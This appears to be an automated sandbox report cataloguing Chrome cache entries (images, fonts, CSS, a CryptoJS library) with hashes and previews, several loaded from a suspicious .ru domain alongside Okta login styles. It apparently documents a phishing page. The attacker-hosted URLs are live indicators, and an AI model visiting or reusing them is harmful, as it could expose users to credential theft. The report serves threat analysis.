Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10796
Entropy (8bit):	7.946024875001343
Encrypted:	false
SSDEEP:	192:aPzBBDKs07GiH528urXXSjD4/voR3Euri/in9Q28oLaIAQLdCYXQIDeoIdv60:aPVBQ7P5nIyjD+oRnr4inJdANuGdC0
MD5:	12BDACC832185D0367ECC23FD24C86CE
SHA1:	4422F316EB4D8C8D160312BB695FD1D944CBFF12
SHA-256:	877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
SHA-512:	36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
Malicious:	false
Preview:	.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.......dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.\|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H\|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10450)
Category:	downloaded
Size (bytes):	10498
Entropy (8bit):	5.327380141461276
Encrypted:	false
SSDEEP:	192:x9iW+rIadfLTcaTO5BrwjnwSrQ1kPmqQmMjmtmumobU8:x9KVLbw6jqON
MD5:	E0D37A504604EF874BAD26435D62011F
SHA1:	4301F0D2B729AE22ADECE657D79ECCAA25F429B1
SHA-256:	C39FF65E2A102E644EB0BF2E31D2BAD3D18F7AFB25B3B9BA7A4D46263A711179
SHA-512:	EF838FD58E0D12596726894AB9418C1FBE31833C187C3323EBFD432970EB1593363513F12114E78E008012CDEF15B504D603AFE4BB10AE5C47674045ACC5221E
Malicious:	false
URL:	https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css
Preview:	a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,tt,u,ul,var{background:transparent;border:0;font-size:100%;font:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}:focus{outline:0}ins{text-decoration:none}del{text-decoration:line-through}table{border-collapse:collapse;border-spacing:0}input[type=hidden]{display:none!important}input[type=checkbox],input[type=radio]{border:0!important;margin:0;padding:0}@font-face{font-family:Proxima Nova;font-style:normal;font-weight:400;src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot);src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot?#iefix) fo

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	25216
Entropy (8bit):	7.947339442168474
Encrypted:	false
SSDEEP:	768:BTwdm3bbEPDrEQT87zOyJ0WsnoU+RBshw:64LQXEN7DJGSRBs
MD5:	F9A795E2270664A7A169C73B6D84A575
SHA1:	0FBB60AB27AB88C064EB347D0722C8ED4CF5E8B8
SHA-256:	D00203B2EEA6E418C31BAAFA949ADA5349A9F9B7E99FA003AEC7406822693740
SHA-512:	E17C8D922F52C8AB36D9C0A7DC41D32735CF1680EA653056308C6D23255FDBE40B96C68F0E7F8B3B521B6ACB080CD825F94320364B0A70141606A4449D980517
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/ghBioawVsGsUA117yrJ412EaQY1Skt4YW6RuiH2YzmHxyQfrkxsWCkyew24xOurTOMWC6k8Q012210
Preview:	RIFFxb..WEBPVP8X....0...o.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.Y....'$H..xkD....oUS..[.uM....CwI.H#.H.t(..!J.AJ# .(........0.W.?D...g.6..u......}K5.>\|....^..2.....z..../.1..F..A...Vk..W.Wm?z....H+.;:...s..Z;....V.....Z.gm.......\>.}..-.....w...D.........+,K...#......._[L.[.]w1..[.l..8.....f..E...W....;....o.Q...T`.W.(..........;^........:.T..6......Yo..x.6..n.\A.5X.........J....2.O.)....0..zdL1.x.X..e?.eA.M%f.D..W.].A=6D.....w....>.3\|M.7....aEe&l.or.Tt^.*6li..lYz.HF.....2.\...U.tfQ.<ZlHB.G--....]T..h.L.U]...m....{..T{....~......K#

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/yzfSKSVVzwGEVLxY7bOA4NzirtCtF1GaMBQqxop8zPIfBhpW0CdjaQab180
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (51734)
Category:	downloaded
Size (bytes):	222931
Entropy (8bit):	5.0213311632628725
Encrypted:	false
SSDEEP:	3072:Z4blthK0D4NIbkhhMW0AphsQyXV3oUHDDlxh/LoFdW:Z4vhK0D4NQlxh/LoFdW
MD5:	0329C939FCA7C78756B94FBCD95E322B
SHA1:	7B5499B46660A0348CC2B22CAE927DCC3FDA8B20
SHA-256:	0E47F4D2AF98BFE77921113C8AAF0C53614F88FF14FF819BE6612538611ED3D1
SHA-512:	1E819E0F9674321EEE28B3E73954168DD5AEF2965D50EE56CAD21A83348894AB57870C1C398684D9F8EAB4BBBEF5239F4AEA1DCAB522C61F91BD81CF358DA396
Malicious:	false
URL:	https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
Preview:	@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	17842
Entropy (8bit):	7.821645806304586
Encrypted:	false
SSDEEP:	384:EwTZQ74B48VtrMvbt0sAvPTMaf+j5s8OYbqarRbjy5Qg1AR/kf63z/:hTa4B4mtYztAvPTMFhOYb3Rbu571AJa6
MD5:	4B52ECDC33382C9DCA874F551990E704
SHA1:	8F3BF8E41CD4CDDDB17836B261E73F827B84341B
SHA-256:	CCE050CC3B150C0B370751021BB15018EE2B64AC369E230FE3B571A9B00D4342
SHA-512:	AC3D3C82BAD9147AE5F083ED49C81A744F672DDFBB262135AA3F2C6601F8DFFEA11D8E323CEF025C36D76C6F2515AA6814B622CF504CA01D13346E9EA989048F
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/stYI03OBVOCU6PTHp0UgOWjuR6YVCNeMM7jmnsOFLV5NiD0a9CgeCqBu7DmPKxRFjpU0zwRS32gh260
Preview:	RIFF.E..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.,...$.m.8..k.\.oDL.. ..TU....3'.{.g..6..2...6.DL`e..."&@..b.#&@......T.....'.....$......1.d...G........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........._...........................?...Z5[...B,.c...V-...m.0.../..?...............?.......?................_.....-...M.B.....=....C...[......w .X...ea.............VW.?b....[[.o^.Y.K...OD

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	6.665390877423149
Encrypted:	false
SSDEEP:	24:L+aPlKKVkz1f+tPUgo/KQGbEZAu6hZjJ+uvRGumDyqCuiRFqB6dhQiZmh7:L+ElbQ1f+Bo/LfAuk4uvR5mDymiRFqBN
MD5:	32CA2081553E969F9FDD4374134521AD
SHA1:	7B09924C4C3D8B6E41FE38363E342DA098BE4173
SHA-256:	216FC342A469AA6A005B2EACC24622095E5282D3E9F1AE99CE54C27B92EC3587
SHA-512:	F75749C6344FCD7BF06872A3678BB2EB4CAE2DDC31CC5D1EE73EFBA843705577841667733A83163AF4336EC8A32DF93E7A36155BD6282D7BB86159644975948C
Malicious:	false
Preview:	RIFF....WEBPVP8X....0...k.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHX.....\m{.z..........T ..Q....R...X....U`..@......Yyy..<q.."b..a....K._.....jH....}q..........^.-.\.4. &.H~.q..H.q.'.t..p....0)...X.....8./.... ..6.#H..Y..../...E>.#.tv....9.\.p5......h......1.{@.k].(1...B.........u.n....=....sX...*..I.c]r....S.....u.a...X.....Pi..q.$73..ga..h%9.S.l.....}....^%.@:Q....we8x..j..3.^.}5.fFtZ...3....<. x.s....d@(./.<].y...m.....T..........T.P`....5..<qYl.g..k..N. `_...f....yN.R.PB..p\|..-.%.`y.._.]C.v.<.Y...V..I..(.c....>...........k....nt

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 35970, version 1.0
Category:	downloaded
Size (bytes):	35970
Entropy (8bit):	7.989503040923577
Encrypted:	false
SSDEEP:	768:GJiLCleIZlcBvahjeheOQKskmCp9sE9gBkGgvU+7aAXDqWOtU:GJo9IgMKsQzJ9gBkZbuAXDqWV
MD5:	496B7BBDE91C7DC7CF9BBABBB3921DA8
SHA1:	2BD3C406A715AB52DAD84C803C55BF4A6E66A924
SHA-256:	AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
SHA-512:	E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/GDSherpa-bold.woff
Preview:	wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.\|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
URL:	https://developers.cloudflare.com/favicon.png
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
Category:	downloaded
Size (bytes):	28584
Entropy (8bit):	7.992563951996154
Encrypted:	true
SSDEEP:	768:8n53CNftp4NM/2qxGvtAG9fvpWYSTvlj6OIqrd1xUseRc:85SNfQS2ntfxvpWYSTcfMERc
MD5:	17081510F3A6F2F619EC8C6F244523C7
SHA1:	87F34B2A1532C50F2A424C345D03FE028DB35635
SHA-256:	2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
SHA-512:	E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/GDSherpa-regular.woff2
Preview:	wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww....eU..S.........0..S.s..,....\.e..F.&....oUR.}Q.C..2.TD....5..#..h.H.2.\|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#...#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......LCE..Nf~.N.eJ.iXnXC.&....t.U..Nr.@..lZ.... .X..

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:	192:cdEMK4RwidEMK4Rwbwm6xiD7x9m9t6EQ3FabrItDWOO6DcA:cdEMVwidEMVwbwtxiDHmP6lFeItDWOOc
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 36696, version 1.0
Category:	downloaded
Size (bytes):	36696
Entropy (8bit):	7.988666025644622
Encrypted:	false
SSDEEP:	768:lvJo4KciQZYjebVq19lKPtHAQ/l4rj2bqkiHShpeSUOR4OqWOgaU:lhH3rVq1PKP432tSSh4SUORHqWcU
